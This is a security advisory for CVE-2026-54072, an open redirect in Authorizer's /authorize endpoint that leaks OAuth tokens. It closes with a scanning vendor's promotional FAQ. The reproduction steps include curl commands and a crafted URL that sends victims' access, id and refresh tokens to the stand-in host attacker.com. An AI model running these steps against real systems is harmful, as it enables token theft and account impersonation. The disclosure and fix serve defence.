CVE-2026-54072 — github.com/authorizerdev/authorizer
URL Redirection to Untrusted Site ('Open Redirect')Summary
The /authorize endpoint accepts any redirect_uri without validating it against AllowedOrigins. When response_type=token or response_type=id_token, the server appends access_token, id_token, and refresh_token as query parameters and issues a 302 redirect to the attacker-supplied URL. An unauthenticated attacker can obtain the required client_id from the public /graphql?query={meta{client_id}} endpoint.
Partial fix was applied in v2.0.1 to other handlers (oauth_login, verify_email, magic_link_login, forgot_password, invite_members, oauth_callback) but /authorize was not included.
Vulnerable Code
internal/http_handlers/authorize.go:
redirectURI := strings.TrimSpace(gc.Query("redirect_uri"))
// ... no IsValidOrigin() call ...
// response_type=token path (line ~263):
if strings.Contains(redirectURI, "?") {
redirectURI = redirectURI + "&" + params
} else {
redirectURI = redirectURI + "?" + params
}
handleResponse(gc, responseMode, authURL, redirectURI, ...) // 302 to attacker URL
Compare with the fixed oauth_login.go in v2.0.1 which calls validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins).
Steps to Reproduce
# 1. Obtain client_id (no authentication required)
CLIENT_ID=$(curl -s http://TARGET/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{meta{client_id}}"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['meta']['client_id'])")
echo "client_id: $CLIENT_ID"
# 2. Craft the malicious URL and send to victim (victim must be logged in)
# When victim opens this URL, tokens are delivered to attacker.com
MALICIOUS_URL="http://TARGET/authorize?response_type=token&client_id=${CLIENT_ID}&redirect_uri=https://attacker.com/steal&scope=openid+profile+email&state=x&response_mode=query"
echo "Send to victim: $MALICIOUS_URL"
# 3. Attacker receives 302 redirect with all tokens:
# https://attacker.com/steal?access_token=eyJ...&token_type=bearer&expires_in=...&id_token=eyJ...
# 4. Validate stolen token
curl -s http://TARGET/userinfo \
-H "Authorization: Bearer STOLEN_ACCESS_TOKEN"
# Returns: {"email":"[email protected]","id":"...","roles":["user"]}
Impact
An attacker who tricks a logged-in user into clicking a crafted link can steal the victim's access_token, id_token, and refresh_token. The attacker can then impersonate the victim for the full token lifetime. No user interaction beyond clicking the link is required; the victim's browser issues the redirect automatically.
Proposed Fix
Add the same IsValidOrigin check that was applied to the other handlers in v2.0.1:
// In authorize.go, after reading redirect_uri:
if !validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins) {
handleResponse(gc, responseMode, authURL, redirectURI, map[string]interface{}{
"error": "invalid_request",
"error_description": "redirect_uri is not allowed",
}, http.StatusBadRequest)
return
}
| Software | From | Fixed in |
|---|---|---|
github.com/authorizerdev/authorizer
|
- | 0.0.0-20260409051328-bd3f5baf6d3d |
Deep Security Visibility Without the Complexity
SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.
- No setup fees
- 5-min deployment
- Cancel anytime
Frequently Asked Questions
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.